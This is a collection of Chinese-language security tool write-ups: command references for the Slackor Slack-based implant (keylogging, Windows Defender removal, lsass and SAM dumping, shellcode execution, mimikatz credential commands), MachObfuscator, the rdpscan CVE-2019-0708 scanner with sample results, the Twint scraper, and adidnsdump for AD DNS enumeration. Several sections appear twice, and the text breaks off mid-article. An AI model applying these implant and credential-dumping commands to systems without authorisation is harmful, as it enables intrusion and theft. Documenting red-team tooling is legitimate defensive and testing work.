输入help或按[TAB]查看可用命令列表。输入help [COMMAND]以查看该命令的描述。

Slackor

help - 显示帮助菜单
interact - 与代理交互
list - 列出所有已注册的代理商
remove - 杀死并删除代理
revive - 向所有代理发送信号以重新注册服务器
stager - 生成单行程序以下载执行植
quit - 退出程序
wipefiles - 从Slack中删除所有上传的文件

代理进入后,您可以与其进行交互。使用interact [AGENT]进入代理提示符。输入help或按[TAB]查看可用命令列表。

Slackor:AGENT

- 常用命令
- back - 返回主菜单
- beacon - 更改代理每次登记之间的时间(默认为5秒)
- download- 将代理程序中的文件下载到Slackor服务器
- help - 显示帮助菜单
- kill - 杀死进程
- sleep - 代理睡眠一次时间(以秒为单位输入时间)
- sysinfo- 显示当前用户,操作系统版本,系统体系结构和CPU核心数
- upload - 从Slackor服务器上传文件到代理
- wget - 通过HTTP / HTTPS下拉任意文件
- Windows命令
- bypassuac - 生成代理
- cleanup - 删除持久化操作
- clipboard - 检索剪贴板的内容
- defanger - 去除Windows Defender
- duplicate - 使代理生成另一个自身调用
- getsystem - 将代理生成为NTAUTHORITY / SYSTEM
- keyscan - 在代理上启动键盘记录器
- minidump - 从lsass.exe转储内存并下载
- persist - 通过在ADS中植入二进制文件来创建持久性
- samdump - 尝试转储SAM文件以进行脱机哈希提取
- screenshot - 获取桌面的屏幕截图
- shellcode- 执行x64原始shellcode
- Mac命令
- Linux命令
- screenshot - 获取桌面的屏幕截图

OPSEC注意事项

除Slack的TLS传输加密外,命令输出和下载的文件都是AES加密的。

模块将在执行写入磁盘的任务之前发出警告。执行shell命令时,请注意cmd.exe/ bash将执行。这可以在主机上监控。以下是几个不执行cmd.exe/的OPSEC安全命令bash

- cat - 打印文件内容
- cd - 更改目录
- find - 搜索目录文件名
- getip - 获取外部IP地址(发出DNS请求)
- hostname - 显示主机的名称
- ifconfig - 显示接口信息
- ls - 列出目录内容
- mkdir - 创建目录
- pwd - 打印当前工作目录
- rm - 删除文件
- rmdir - 删除目录
- whoami/getuid - 打印当前用户

未来的目标

1.DOSfuscation

2.反复加载DLL / PE – https://github.com/vyrus001/go-mimikatz

3.在内存中执行C#程序集 – https://github.com/lesnuages/go-execute-assembly

4.源代码混淆https://github.com/unixpickle/gobfuscate

常问问题

这对红队/测试使用是否安全?

是的,考虑到一些条件。当数据在传输过程中加密时,代理包含用于解密的密钥。获取代理副本的任何人都可以对其进行反向工程并提取API密钥和AES密钥。任何妥协或以其他方式获得对工作区的访问权限的人都能够检索其中的所有数据。因此,不建议针对多个组织重用基础结构。

Mimikatz怎么样?

植入物没有内存中的密码转储功能。如果您需要logonPasswords,可以尝试以下操作:

(Slackor: AGENT)minidump

这将使用Pypykatz自动提取密码。或者,您可以在Windows上使用Mimikatz。

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

它是跨平台的吗?

它的跨平台支持有限。它尚未在可以运行的所有系统上进行全面测试。该服务器旨在在Kali Linux上运行。代理程序是针对Windows,Mac和Linux编译的,但主要是使用Windows 10进行测试。代理程序可能会错误处理该代理程序平台不支持的命令(不要尝试对Mac进行小型化)。

它的规模如何?

可伸缩性受Slack API的限制。如果您有多个代理,请考虑增加未使用的信标的信标间隔。

它是否容易受到标准信标分析的影响?

目前,每个信标都内置了20%的抖动,并且可以定制信标时间。只要没有收到新命令,代理登记请求和响应数据包每次大小大致相同。

它被杀软发现!

现在这是开源的,它必然会有问题。我们会尽可能地修复模块,但无法保证这将始终绕过所有AV。

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

MachObfuscator是一种与编程语言无关的Mach-O应用程序混淆器(适用于Apple平台)。

当前状态

✅ – 表示功能已完成, ❌ – 表示功能是待办事项/正在进行中。

✅ Mach-O iOS

✅ Mach-O macOS

✅ iOS NIB(包括故事板)

⚠️ macOS NIB(包括故事板) – 尚不支持绑定

❌ MOM(CoreData)

❌ Mach-O watchOS

❌ Mach-O tvOS

❌ 位码

❌自动代码重新签名(需要手动重新签名所有图片,请参阅resign.sh

概述

MachObfuscator是一个二进制符号混淆器。这是什么意思?有一些重要的术语:

1.混淆器 – 一种使软件难以逆向的工具。

2.二进制混淆器 – 一种混淆器,它在机器代码上运行,而不是在源代码上运行。

3.符号混淆器 – 一种仅混淆符号名称的混淆器,不会改变程序控制流。

MachObfuscator 直接转换Mach-O文件中的符号。Mach-O格式主要用于Apple平台,作为可执行文件和库的机器代码容器。MachObfuscator不需要访问应用程序源代码以对其进行模糊处理。

演示

让我们看看MachObfuscator混淆SampleApp.app应用程序:

通过在MachOView中打开app的主要可执行文件可以看到结果。MachOView显示模糊的ObjC选择器:

和混淆的ObjC类名:

上面仅显示了样本更改。MachObfuscator更改了更多Mach-O部分。

用法细节

$ ./MachObfuscator
usage: ./MachObfuscator [-qvdhtD] [-m mangler_key] APP_BUNDLE
  Obfuscates application APP_BUNDLE in-place.
Options:
  -h, --help              帮助
  -q, --quiet             安静模式 
  -v, --verbose           输出详细信息
  -d, --debug             调试模式,输出更详细的信息
  --dry-run               不保存模糊文件
  --erase-methtype        擦除methType部分
  -D, --machoview-doom    MachOView在尝试打开二进制文件后崩溃(不适用于caesarMangler
  --swift-reflection      混淆了Swift反射部分(typeref和reflstr)。
  --objc-blacklist-selector NAME[,NAME...]  不会混淆给定的选择器
  --objc-blacklist-selector-regex REGEXP    不会混淆与给定正则表达式匹配的选择器
  --preserve-symtab       不会删除SYMTAB字符串
  --erase-section SEGMENT,SECTION    SECTION擦除给定部分,例如:__TEXT,__ swift5_reflstr
  --erase-source-file-names PREFIX   从二进制文件中擦除源文件路径。删除以给定前缀开头的路径,用常量字符串替换它们
  --replace-cstring STRING          用给定的替换任意__cstring(谨慎使用)。匹配整个字符串,
  --replace-cstring-with STRING      如果需要,可以添加填充0。这些选项必须成对使用。
  --skip-all-frameworks            不会混淆框架
  --skip-framework framework         不会混淆给定的框架
  --obfuscate-framework framework    框架模糊了给定的框架(白名单为--skip-all-frameworks)
  -m mangler_key,
  --mangler mangler_key   选择mangler来生成混淆的符号
Development options:
  --xx-no-analyze-dependencies       不分析依赖关系
Available manglers by mangler_key:
  caesar - ROT13所有objc符号和dyld信息
  realWords - 用随机单词替换objc符号(支持dyld信息混淆)

简单化,MachObfuscator:

1.查找应用包中的所有可执行文件,

2.以递归方式搜索所有依赖库,这些库的依赖关系等等,

3.搜索应用包中的所有NIB文件,

4.区分可模糊文件(应用程序包中的文件)和不可模糊文件(应用程序包外部的文件),

5.从整个依赖图中收集Obj-C符号,导出尝试和导入列表,

6.创建符号白名单和符号黑名单(在不可混淆的文件中使用的符号),

7.使用选定的漫游器修改白名单符号,导出尝试和导入列表,

8.替换可混淆文件中的符号,

9.清除可选的部分,

10.一次保存所有文件。

MachObfuscator在Mach-O部分之后发生变化:

1.__TEXT, __objc_classname - mangles符号名称

2.__TEXT, __objc_methname - mangles符号名称

3..__TEXT, __objc_methtype- mangles符号名称或可选(使用–erase-methtype参数启用)用0s 填充整个部分

4.__TEXT, __swift3_typeref,__TEXT, __swift4_typeref,__TEXT, __swift5_typeref-用填充整段0小号

5.__TEXT, __swift3_reflstr,__TEXT, __swift4_reflstr, __TEXT, __swift5_reflstr-用填充整段0小号

6.LC_DYLD_INFO_ONLY - mangles导出尝试和绑定列表

7.LC_SYMTAB- 用0s 填充整个部分

8.__TEXT, __swift*是Swift的反射机制(Mirror)使用的部分。Mirror即使在清除这些部分之后,也可以返回不太详细的数据。LC_SYMTAB用于lldb。

MachObfuscator不会影响崩溃符号,因为dSYM是在编译期间生成的 – 即在混淆之前。

特约

如果您对改进MachObfuscator有任何想法,那就让我们在Twitter(@ kam800)上聊聊。

如果你想编写一些代码,但对Mach-O感到不舒服,我建议先做一些准备工作:

1.玩MachOView,打开一些二进制文件并尝试感受Mach-O布局。

2./usr/include/mach-o/loader.h从任何macOS 读取。

3.Mach+Loading.swift从MachObfuscator repo中读取。

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

MachObfuscator是一种与编程语言无关的Mach-O应用程序混淆器(适用于Apple平台)。

当前状态

✅ – 表示功能已完成, ❌ – 表示功能是待办事项/正在进行中。

✅ Mach-O iOS

✅ Mach-O macOS

✅ iOS NIB(包括故事板)

⚠️ macOS NIB(包括故事板) – 尚不支持绑定

❌ MOM(CoreData)

❌ Mach-O watchOS

❌ Mach-O tvOS

❌ 位码

❌自动代码重新签名(需要手动重新签名所有图片,请参阅resign.sh

概述

MachObfuscator是一个二进制符号混淆器。这是什么意思?有一些重要的术语:

1.混淆器 – 一种使软件难以逆向的工具。

2.二进制混淆器 – 一种混淆器,它在机器代码上运行,而不是在源代码上运行。

3.符号混淆器 – 一种仅混淆符号名称的混淆器,不会改变程序控制流。

MachObfuscator 直接转换Mach-O文件中的符号。Mach-O格式主要用于Apple平台,作为可执行文件和库的机器代码容器。MachObfuscator不需要访问应用程序源代码以对其进行模糊处理。

演示

让我们看看MachObfuscator混淆SampleApp.app应用程序:

通过在MachOView中打开app的主要可执行文件可以看到结果。MachOView显示模糊的ObjC选择器:

和混淆的ObjC类名:

上面仅显示了样本更改。MachObfuscator更改了更多Mach-O部分。

用法细节

$ ./MachObfuscator
usage: ./MachObfuscator [-qvdhtD] [-m mangler_key] APP_BUNDLE
  Obfuscates application APP_BUNDLE in-place.
Options:
  -h, --help              帮助
  -q, --quiet             安静模式 
  -v, --verbose           输出详细信息
  -d, --debug             调试模式,输出更详细的信息
  --dry-run               不保存模糊文件
  --erase-methtype        擦除methType部分
  -D, --machoview-doom    MachOView在尝试打开二进制文件后崩溃(不适用于caesarMangler
  --swift-reflection      混淆了Swift反射部分(typeref和reflstr)。
  --objc-blacklist-selector NAME[,NAME...]  不会混淆给定的选择器
  --objc-blacklist-selector-regex REGEXP    不会混淆与给定正则表达式匹配的选择器
  --preserve-symtab       不会删除SYMTAB字符串
  --erase-section SEGMENT,SECTION    SECTION擦除给定部分,例如:__TEXT,__ swift5_reflstr
  --erase-source-file-names PREFIX   从二进制文件中擦除源文件路径。删除以给定前缀开头的路径,用常量字符串替换它们
  --replace-cstring STRING          用给定的替换任意__cstring(谨慎使用)。匹配整个字符串,
  --replace-cstring-with STRING      如果需要,可以添加填充0。这些选项必须成对使用。
  --skip-all-frameworks            不会混淆框架
  --skip-framework framework         不会混淆给定的框架
  --obfuscate-framework framework    框架模糊了给定的框架(白名单为--skip-all-frameworks)
  -m mangler_key,
  --mangler mangler_key   选择mangler来生成混淆的符号
Development options:
  --xx-no-analyze-dependencies       不分析依赖关系
Available manglers by mangler_key:
  caesar - ROT13所有objc符号和dyld信息
  realWords - 用随机单词替换objc符号(支持dyld信息混淆)

简单化,MachObfuscator:

1.查找应用包中的所有可执行文件,

2.以递归方式搜索所有依赖库,这些库的依赖关系等等,

3.搜索应用包中的所有NIB文件,

4.区分可模糊文件(应用程序包中的文件)和不可模糊文件(应用程序包外部的文件),

5.从整个依赖图中收集Obj-C符号,导出尝试和导入列表,

6.创建符号白名单和符号黑名单(在不可混淆的文件中使用的符号),

7.使用选定的漫游器修改白名单符号,导出尝试和导入列表,

8.替换可混淆文件中的符号,

9.清除可选的部分,

10.一次保存所有文件。

MachObfuscator在Mach-O部分之后发生变化:

1.__TEXT, __objc_classname - mangles符号名称

2.__TEXT, __objc_methname - mangles符号名称

3..__TEXT, __objc_methtype- mangles符号名称或可选(使用–erase-methtype参数启用)用0s 填充整个部分

4.__TEXT, __swift3_typeref,__TEXT, __swift4_typeref,__TEXT, __swift5_typeref-用填充整段0小号

5.__TEXT, __swift3_reflstr,__TEXT, __swift4_reflstr, __TEXT, __swift5_reflstr-用填充整段0小号

6.LC_DYLD_INFO_ONLY - mangles导出尝试和绑定列表

7.LC_SYMTAB- 用0s 填充整个部分

8.__TEXT, __swift*是Swift的反射机制(Mirror)使用的部分。Mirror即使在清除这些部分之后,也可以返回不太详细的数据。LC_SYMTAB用于lldb。

MachObfuscator不会影响崩溃符号,因为dSYM是在编译期间生成的 – 即在混淆之前。

特约

如果您对改进MachObfuscator有任何想法,那就让我们在Twitter(@ kam800)上聊聊。

如果你想编写一些代码,但对Mach-O感到不舒服,我建议先做一些准备工作:

1.玩MachOView,打开一些二进制文件并尝试感受Mach-O布局。

2./usr/include/mach-o/loader.h从任何macOS 读取。

3.Mach+Loading.swift从MachObfuscator repo中读取。

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

这是一款快速的CVE-2019-0708漏洞扫描工具。目前,公共互联网上大约有900,000台机器容易受到这种漏洞的影响,这还是一个命令行工具。您可以下载源代码并自行编译,也可以从上面的链接下载一个用于Windows或macOS的预编译二进制文件。

此工具完全基于https://github.com/zerosum0x0/CVE-2019-0708rdesktop补丁。我只是修改了代码,也可以在macOS和Windows上轻松编译,并添加了扫描多个目标的功能。

状态

这只是几天的实验。但是,我正在通过扫描整个互联网来测试它(借助于masscan,所以我很快就解决了很多问题。你可以尝试联系我(@erratarob)寻求帮助/评论。

1.2019-05-38 – 输出完善的结果描述,以及文档的含义(见下文)。

2.2019-05-27 – 发布了Windows和macOS二进制文件。

3.2019-05-26 – 修复Windows网络问题

4.2019-05-25 – 在Linux和macOS运行良好,但Windows有一些网络错误

5.2019-05-24 – 适用于Linux和macOS,但Windows有一些编译错误

6.2019-05-23 – 目前在XCode中处理macOS

主要用途

要扫描网络,如下运行:

rdpscan 192.168.1.1-192.168.1.255

这会为每个地址生成3个结果中的一个:

1.SAFE – 目标是安全的

2.VULNERABLE – 目标是脆弱的

3.UNKNOWN – 目标没有响应或有一些协议失败

您可以通过增加工作人员数量来提高扫描大型网络的速度:

rdpscan --workers 10000 10.0.0.0/8

使用masscan

这个rdpscan工具相当慢,每秒只能扫描几百个目标。你可以masscan用来加快速度。该masscan工具的速度大约快1000倍,但只能提供有限的目标信息。

步骤是:

1.首先使用masscan扫描地址范围,以快速查找在端口3389(或您使用的任何端口)上响应的主机。

2.第二次输入masscaninto 的输出rdpscan,因此它只需要扫描我们知道的活动目标。

运行它的简单方法是在命令行上组合:

masscan 10.0.0.0/8 -p3389 | rdpscan --file -

我这样做的方式分为两步:

masscan 10.0.0.0/8 -p3389 > ips.txt
rdpscan --file ips.txt --workers 10000 >results.txt

编译

困难的部分是安装OpenSSL库,而不是与系统上的其他版本冲突。我测试的Linux版本的一些示例如下,但它们不断将包名称从一个分发更改为下一个分发。此外,OpenSSL兼容API有很多选项,例如BoringSSL和LibreSSL。

$ sudo apt install libssl-dev
$ sudo yum install openssl-devel

一旦你解决了这个问题,你就.c可以像这样编译所有文件:

$ gcc *.c -lssl -lcrypto -o rdpscan

我把Makefile放在执行此操作的目录中,因此您可以这样做:

$ make

代码是用C编写的,因此需要安装C编译器,例如执行以下操作:

$ sudo apt install build-essential

常见的构建错误

本节介绍更明显的构建错误。

ssl.h:24:25: fatal error: openssl/rc4.h: No such file or directory

这意味着您要么没有安装OpensSSL标头,要么它们不在某个路径中。请记住,即使您安装了OpenSSL二进制文件,您还需要安装标头和库。

要在Debian上安装这些东西,请执行以下操作:

$ sudo apt install libssl-dev

要修复路径问题,请添加编译标志-I/usr/local/include或类似内容。

示例链接器问题如下:

Undefined symbols for architecture x86_64:
"_OPENSSL_init_ssl", referenced from:
  _tcp_tls_connect in tcp-fac73c.o
"_RSA_get0_key", referenced from:
  _rdssl_rkey_get_exp_mod in ssl-d5fdf5.o
"_SSL_CTX_set_options", referenced from:
  _tcp_tls_connect in tcp-fac73c.o
"_X509_get_X509_PUBKEY", referenced from:
  _rdssl_cert_to_rkey in ssl-d5fdf5.o

我在macOS上得到这个,因为有多个版本的OpenSSL。我通过对路径进行硬编码来解决这个问题:

$ gcc *.c -lssl -lcrypto -I/usr/local/include -L/usr/local/lib -o rdpscan

根据其他人的评论,如果您使用Homebrew安装东西,以下命令行可能适用于macOS。不过,我仍然遇到上面的链接错误,因为我已经安装了其他冲突的OpenSSL组件。

gcc $(brew --prefix)/opt/openssl/lib/libssl.a $(brew --prefix)/opt/openssl/lib/libcrypto.a -o rdpscan *.c

运行

上面的部分提供了运行程序的快速入门提示。本节提供了更深入的帮助。

要扫描单个目标,只需传递目标地址:

./rdpscan 192.168.10.101

您可以传入IPv6地址和DNS名称。您可以传入多个目标。例子:

./rdpscan 192.168.10.101 exchange.example.com 2001:0db8:85a3::1

您还可以使用开始端IPv4地址或IPv4 CIDR规范扫描地址范围。不支持IPv6范围,因为它们非常大。

./rdpscan 10.0.0.1-10.0.0.25 192.168.0.0/16

默认情况下,它一次只扫描100个目标。您可以使用--workers参数增加此数字。但是,无论您设置此参数有多高,实际上您最多可以同时运行大约500到1500名工作人员,具体取决于您的系统。

./rdpscan --workers 1000 10.0.0.0/24

您可以使用命名良好的--file参数,而不是在命令行上指定目标,而是从文件加载它们:

./rdpscan --file ips.txt

文件的格式是每行一个地址,名称或范围。它还可以使用生成的文本masscan。修剪额外的空白,忽略空行,忽略任何注释行。一个注释是开始与行#字符,或//字符。

输出将发送stdout给VULNERABLE,SAFE或UNKNOWN状态。可能还有其他原因。以上描述了这些原因。

211.101.37.250 - SAFE - CredSSP/NLA required
185.11.124.79 - SAFE - not RDP - SSH response seen
125.121.137.42 - UNKNOWN - no connection - refused (RST)
40.117.191.215 - SAFE - CredSSP/NLA required
121.204.186.182 - SAFE - CredSSP/NLA required
99.8.11.148 - SAFE - CredSSP/NLA required
121.204.186.114 - SAFE - CredSSP/NLA required
49.50.145.236 - SAFE - CredSSP/NLA required
106.12.74.155 - VULNERABLE - got appid
222.84.253.26 - SAFE - CredSSP/NLA required
144.35.133.109 - UNKNOWN - RDP protocol error - receive timeout
199.212.226.196 - UNKNOWN - RDP protocol error - receive timeout
183.134.58.152 - UNKNOWN - no connection - refused (RST)
83.162.246.149 - VULNERABLE - got appid

额外的Unix命令一样,你可以处理这个grepcut。要获取易受攻击的计算机列表:

./rdpscan 10.0.0.0/8 | grep 'VULN' | cut -f1 -d'-'

参数-dddd表示诊断信息,d您添加的s越多,打印的详细信息就越多。这是发送给stderr而不是stdout 为了你可以分开流。使用bash它是这样做的:

./rdpscan --file myips.txt -ddd 2> diag.txt 1> results.txt

诊断信息

添加-d参数转储连接的诊断信息stderr

./rdpscan 62.15.34.157 -d

[+] [62.15.34.157]:3389 - connecting...
[+] [62.15.34.157]:3389 - connected from [10.1.10.133]:49211
[+] [62.15.34.157]:3389 - SSL connection
[+] [62.15.34.157]:3389 - version = v4.8
[+] [62.15.34.157]:3389 - Sending MS_T120 check packet
[-] [62.15.34.157]:3389 - Max sends reached, waiting...
62.15.34.157   - SAFE - Target appears patched

在MacOS / Linux上,你可以重定向stdout,并stderr分别以通常的方式不同的文件:

./rdpscan --file ips.txt 2> diag.txt 1> results.txt

SOCKS5和Tor lulz

SOCKS5支持:

./rdpscan --file ips.txt --socks5 localhost --socks5port 9050

静态链接OpenSSL

为了将作为发行版附加的Windows和macOS二进制文件发布到此项目,我静态链接OpenSSL,因此不需要单独包含它,程序就可以正常工作。本节介绍了有关如何执行此操作的一些注意事项,尤其是因为OpenSSL自己的页面上的描述似乎已过时。

这两个步骤都从下载OpenSSL源并将其放在rdpscan目录:

git clone https://github.com/openssl/openssl

windows

对于Windows,您需要先安装某个版本的Perl。我使用ActiveState中的那个。

接下来,您将需要一个特殊的“汇编程序”。我使用推荐的一款名为 NASM的产品

接下来,您将需要一个编译器。我使用的是VisualStudio 2010.您可以从Microsoft下载最新的“Visual Studio Community Edition”(即2019年)。

现在你需要构建makefile。这是通过进入OpenSSL目录并运行ConfigurePerl程序来完成的:

perl Configure VC-WIN32

我为Windows选择了32位,我想让程序尽可能与旧版本兼容。

我想要一个完全静态的构建,包括C运行时。为此,我在编辑器中打开生成的makefile,并将C编译标志从 /MD(意味着使用DLL)更改为/MT。我将以下内容添加到CPPFLAGS中-D_WIN32_WINNT=0x501,它将OpenSSL限制为可在Windows XP和Server 2003上运行的功能。否则,bcrypt.dll 如果您在这些旧系统上运行,则会收到无法找到的错误。

现在你需要确保一切都在你的道路上。我复制nasm.exe 到了PATH中的一个目录。对于Visual Studio 2010,我运行程序vcvars32.bat来设置编译器的路径变量。

在命令行的这一点上,我输入:

nmake

这使得图书馆。静态的是libssl_static.liblibcrypto_static.lib我用来链接的rdpscan

MAC系统

首先,您需要安装编译器。我使用Apple的Developer Tools,安装XCode和编译器。我认为您可以使用Homebrew来安装gcc

然后进入OpenSSL的源目录并创建一个makefile:

perl Configure darwin64-x86_64-cc

现在简单地说:

make depend
make

此时,它创建了dynamic(.dylib)和static(.lib)库。我删除了动态库,以便它默认捕获静态库。

现在rdpscan,只需构建macOS makefile:

make -f Makefile.macos

编译所有rdpscan源文件,然后链接到../openssl刚刚构建的目录中的OpenSSL库。

*参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

Twint是一个用Python写的Twitter抓取工具,允许从Twitter配置文件中抓取推文,不使用Twitter的API。

Twint利用Twitter的搜索语法让您从特定用户那里搜索推文,特定主题,主题标签和相关的推文,或者从推文中挑选敏感信息,如电子邮件和电话号码。

Twint还对Twitter进行了特殊查询,允许您搜索Twitter用户的关注者,用户喜欢的推文,以及他们在API,Selenium或模拟浏览器的情况下关注的用户。

好处

使用Twint和Twitter API的一些好处:

1.可以获取几乎所有的推文(Twitter API限制只能持续3200个推文);

2.快速初始设置;

3.可以匿名使用,无需Twitter注册;

4.没有速率限制

Twitter的限制

Twitter会限制用户可以浏览的时间线。这意味着通过.Profile或者.Favorites你只可以看到~3200条推文。

要求

1.Python 3.6;

2.aiohttp;

3.aiodns;

4.beautifulsoup4;

5.cchardet;

6.elasticsearch;

7.pysocks;

8.pandas (> = 0.23.0);

9.aiohttp_socks;

10.schedule;

11.geopy;

12.fake-useragent。

安装

Git的方法:

git clone https://github.com/twintproject/twint.git
pip3 install -r requirements.txt

PIP:

pip3 install twint

要么

pip3 install --user --upgrade -e git + https//github.com/twintproject/[email protected]/master#egg=twint

Pipenv:

pipenv install -e git + https://github.com/twintproject/twint.git#egg=twint

CLI基本示例和组合

一些简单的例子可以帮助您掌握基础知识:

1.twint -u username- 从用户的时间线中删除所有推文。

2.twint -u username -s pineapple- 从包含pineapple的用户时间线中删除所有推文。

3.twint -s pineapple- 从每个人的推文收集每个包含pineapple的推文。

4.twint -u username –year 2014- 收集2014年之前发送推文的推文。

5.twint -u username –since 2015-12-20 - 收集自2015-12-20以来推文的推文。

6.twint -u username -o file.txt - 抓取推文并保存到file.txt。

7.twint -u username -o file.csv –csv - 抓取推文并保存为csv文件。

8.twint -u username –email –phone - 显示可能包含电话号码或电子邮件地址的推文。

9.twint -s “Donald Trump” –verified - 由经过验证的用户显示有关唐纳德特朗普的推文。

10.twint -g=”48.880048,2.385939,1km” -o file.csv –csv - 在巴黎一个地方绕半径1公里的推文将它们导出到csv文件中。

11.twint -u username -es localhost:9200 - 输出推文到Elasticsearch数据库中

12.twint -u username -o file.json –json - 抓取推文并保存为json文件。

13.twint -u username –database tweets.db - 将推文保存到SQLite数据库。

14.twint -u username –followers - Twitter用户的粉丝。

15.twint -u username –following - Twitter用户关注的人。

16.twint -u username –favorites - 收集用户最喜欢的所有推文(收集~3200推文)。

17.twint -u username –following –user-full - 收集一个人关注的完整用户信息

18.twint -u username –profile-full - 使用缓慢但有效的方法从用户的个人资料中收集推文(收集~3200推文,包括转推)。

19.twint -u username –retweets - 使用快速方法从用户的个人资料中收集最近的900个推文(包括转推)。

20.twint -u username –resume resume_file.txt - 从上次保存的scroll-id开始恢复搜索。

有关命令和选项的更多详细信息位于Wiki中

模块示例

Twint可以用作模块并支持自定义格式。

import twint
# Configure
c = twint.Config()
c.Username = "noneprivacy"
c.Search = "#osint"
c.Format = "Tweet id: {id} | Tweet: {tweet}"
# Run
twint.run.Search(c)

输出

955511208597184512 2018-01-22 18:43:19 GMT <now> pineapples are the best fruit
import twint
c = twint.Config()
c.Username = "noneprivacy"
c.Custom["tweet"] = ["id"]
c.Custom["user"] = ["bio"]
c.Limit = 10
c.Store_csv = True
c.Output = "none"
twint.run.Search(c)

存储选项

1.写入文件;

2.CSV;

3.JSON;

4.SQLite;

5.Elasticsearch。

Elasticsearch设置

有关使用Twint设置Elasticsearch的详细信息位于Wiki中

图形可视化

图表详细信息也位于wiki中

我们正在开发Twint桌面应用程序。

常问问题

我尝试从用户那里抓取推文,我知道它们存在,但我没有得到它们。

Twitter可以禁止影子账户,这意味着他们的推文不会通过搜索获得。要解决此问题,–profile-full请通过CLI使用Twint,如果使用Twint作为模块,则添加config.Profile_full = True。请注意,此过程将非常缓慢。

更多例子

仅获取关注者用户名/以下用户名

twint -u username --followers
twint -u username --following

获取关注者/关注用户的用户信息

twint -u username --followers --user-full
twint -u username --following --user-full

用户列表

仅获取用户的用户信息

twint -u username --user-full

从用户列表中获取用户的用户信息

twint --userlist inputlist --user-full

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

DNS域传送漏洞是在黑客常用的一种漏洞攻击手段。要实现域传送漏洞,就需要一个不安全配置的DNS服务器,允许匿名用户传输所有记录并收集有关网络中主机的信息。然后网络上的任何用户都可以获取所有传送记录并收集有关网络中服务器的信息。然而,目前还很少有人知道,如果使用Active Directory集成DNS,任何用户都可以默认查询所有DNS记录。

本文,我会给你介绍了一个默认查询所有DNS记录的工具——Adidnsdump ,即使你是一个没有读取传送记录权限的用户,也可以使用以下方法获得域环境中的所有DNS解析记录。

0×01

就个人而言,每当我接手一个新的渗透测试任务时,我会去了解网络布局,使用了那些软件以及数据的位置。如果公司有非描述性的服务器名称或描述,像BloodHound或ldapdomaindump这样的工具不会有太大帮助,因为SRV00001.company.local仍然没有告诉我在这台主机上运行的是什么。在大量IP地址上运行EyeWitness等发现工具通常会返回大量默认的Apache / IIS页面,因为大多数站点都配置为侦听DNS名称而不是IP地址。此时你如果知道DNS记录,可能就会发现SRV00001.company.local和gitlab.company.local指向同一个IP,这个IP上可能存放着大量源码。因此,我认为访问AD的DNS记录非常有价值。为此我编写了一个可以转储这些DNS记录的Adidnsdump。你既可以直接在网络中的主机运行它,也可以通过SOCKS隧道利用。

0×02

该工具的设计思路,是在我研究Active Directory DNS时开始的,主要受到Kevin Robertson在ADIDNS 上工作的启发。当我作为普通用户提取了ADSI Edit并突然看到了域中所有DNS记录时,我试图找出AD如何在LDAP中使用域来存储DNS记录。令我惊讶的是,早在2013年,就有人开发出可以提取DNS记录的PowerShell脚本,但它并没有完全符合我的要求,所以我决定用Python编写一个版本,并添加一些选项来枚举比默认情况下更多的记录。

0×03

在LDAP中查询DNS记录的最明显方法是执行查询,选择该类的所有对象,这些对象dnsNode表示DNS区域中的条目。当我使用过滤器执行查询时(objectClass=dnsNode),这会返回非常有限的结果,即使我可以看不到更多记录:

1.png

如上图所示,很多记录的objectClass都处于隐藏状态。这是因为计算机DNS记录的默认权限(我认为其他记录也不是通过AD DNS gui创建的),这些记录不允许所有用户查看内容。由于IP地址实际上存储为此对象的属性,因此无法查看这些记录的IP地址。

但是,默认情况下,任何用户都可以创建新的DNS记录,任何用户也可以默认列出DNS区域的子对象。所以我们知道有记录,我们只是无法使用LDAP查询它。

2.png

通过使用LDAP枚举知道记录所在的位置之后,我们就可以直接使用DNS查询它,因为执行常规DNS查询不需要什么特别权限,这样我们就可以解析域中的所有记录。

0×04

使用adidnsdump,您可以从GitHub获取,可以枚举DNS区域中的所有记录。首先,首先显示您当前所在域中的区域--print-zones。这将显示存在哪些区域。并非所有区域都很有趣,例如转发,缓存和存根区域不包含该域的所有记录。如果找到这些区域,最好查询它们实际所属的域。下面的输出显示我的测试域只有默认区域:

[email protected]:~/adidnsdump$ adidnsdump -u icorp\\testuser --print-zones icorp-dc.internal.corp
Password:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Found 2 domain DNS zones:
  internal.corp
  RootDNSServers
[-] Found 2 forest DNS zones:
  ..TrustAnchors
  _msdcs.internal.corp

如果我们为工具指定区域(或者为默认区域指定为空),我们将获得所有记录的列表。显示可以列出所谓的“隐藏”记录,但仅显示问号,因为不知道哪种类型的记录存在以及它指向何处。记录全部保存到名为的文件中records.csv

3.png

要解析未知记录,请指定-r标志,该标志将对A所有未知记录执行查询(AAAA如果您在IPv6网络中,则可以在代码中轻松将其更改为)。之前空白的几个节点突然有记录:

4.png

如果您没有直接连接但是通过代理工作,则可以通过socks代理该工具并使用该--dns-tcp标志在TCP上执行DNS查询。

缓解措施

为了安全起见,我建议你首先要对DNS记录的安全性持有客观的认知态度。如果你确实要隐藏DNS记录,就请删除“Everyone”和“Pre-Windows 2000 Compatible Access”的“列出内容”权限,以阻止普通用户查询DNS记录。但这可能会产生负面影响,所以我不建议那样做。

所以最好的办法是及时检测DNS查询活动的出现,通过监控大量DNS查询或启用对DNS区域列表的审计可能是一种更好的缓解措施。

工具

adidnsdump可在GitHub和PyPI(pip install adidnsdump)上下载。该工具还可以将记录转储到CSV文件,但随时可以提交替代格式的请求。

*参考来源:dirkjanm,FB小编周大涛编译,转载请注明来自FreeBuf.COM

DNS域传送漏洞是在黑客常用的一种漏洞攻击手段。要实现域传送漏洞,就需要一个不安全配置的DNS服务器,允许匿名用户传输所有记录并收集有关网络中主机的信息。然后网络上的任何用户都可以获取所有传送记录并收集有关网络中服务器的信息。然而,目前还很少有人知道,如果使用Active Directory集成DNS,任何用户都可以默认查询所有DNS记录。

本文,我会给你介绍了一个默认查询所有DNS记录的工具——Adidnsdump ,即使你是一个没有读取传送记录权限的用户,也可以使用以下方法获得域环境中的所有DNS解析记录。

0×01

